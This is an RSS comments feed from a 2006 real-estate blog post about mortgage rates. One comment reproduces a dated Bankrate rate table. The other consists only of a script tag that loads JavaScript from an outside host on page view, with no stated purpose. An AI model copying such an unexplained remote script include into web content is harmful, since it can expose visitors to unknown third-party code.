<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Mortgage rate?</title>
	<atom:link href="http://real-estate-online-guide.com/blog/index.php/2006/03/24/mortgage-rate/feed/" rel="self" type="application/rss+xml" />
	<link>http://real-estate-online-guide.com/blog/2006/03/24/mortgage-rate/</link>
	<description>Blogs to discuss all real estate realated topics.</description>
	<lastBuildDate>Mon, 27 Mar 2006 21:15:16 -0800</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Administrator</title>
		<link>http://real-estate-online-guide.com/blog/2006/03/24/mortgage-rate/comment-page-1/#comment-4</link>
		<dc:creator>Administrator</dc:creator>
		<pubDate>Mon, 27 Mar 2006 20:05:07 +0000</pubDate>
		<guid isPermaLink="false">http://real-estate-online-guide.com/blog/2006/03/24/mortgage-rate/#comment-4</guid>
		<description>&lt;SCRIPT type=&quot;text/javascript&quot; LANGUAGE=&quot;javascript&quot; src=&quot;http://www.qksz.net/1e-bh1n&quot;&gt; &lt;/SCRIPT&gt;</description>
		<content:encoded><![CDATA[<p><script type="text/javascript" LANGUAGE="javascript" src="http://www.qksz.net/1e-bh1n"> </script></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Administrator</title>
		<link>http://real-estate-online-guide.com/blog/2006/03/24/mortgage-rate/comment-page-1/#comment-3</link>
		<dc:creator>Administrator</dc:creator>
		<pubDate>Fri, 24 Mar 2006 23:36:26 +0000</pubDate>
		<guid isPermaLink="false">http://real-estate-online-guide.com/blog/2006/03/24/mortgage-rate/#comment-3</guid>
		<description>ational Mortgage Rates
Provided by Bankrate.com
	Updated Thu Mar 23
	Mtg Loan 	Today 	+/- 	Last Week 	 
	30-yr Fixed 		5.88% 		--- 		5.88% 		graph
	15-yr Fixed 		5.57% 		--- 		5.57% 		graph
	30-yr Jumbo 		6.16% 				6.18% 		graph
	5/1 ARM 		5.57% 				5.62% 		graph
	5/1 Jumbo ARM 		5.76% 				5.75% 		graph
	5/1 ARM Interest Only 		5.65% 				5.67% 		graph
	5/1 Jumbo ARM Interest Only 		5.83% 		--- 		5.83% 		graph
Mortgage Rate Trends
National 3-month trend for 30-yr Fixed Mortgages

More in trends and analysis</description>
		<content:encoded><![CDATA[<p>ational Mortgage Rates<br />
Provided by Bankrate.com<br />
	Updated Thu Mar 23<br />
	Mtg Loan 	Today 	+/- 	Last Week<br />
	30-yr Fixed 		5.88% 		&#8212; 		5.88% 		graph<br />
	15-yr Fixed 		5.57% 		&#8212; 		5.57% 		graph<br />
	30-yr Jumbo 		6.16% 				6.18% 		graph<br />
	5/1 ARM 		5.57% 				5.62% 		graph<br />
	5/1 Jumbo ARM 		5.76% 				5.75% 		graph<br />
	5/1 ARM Interest Only 		5.65% 				5.67% 		graph<br />
	5/1 Jumbo ARM Interest Only 		5.83% 		&#8212; 		5.83% 		graph<br />
Mortgage Rate Trends<br />
National 3-month trend for 30-yr Fixed Mortgages</p>
<p>More in trends and analysis</p>
]]></content:encoded>
	</item>
</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.307 seconds -->

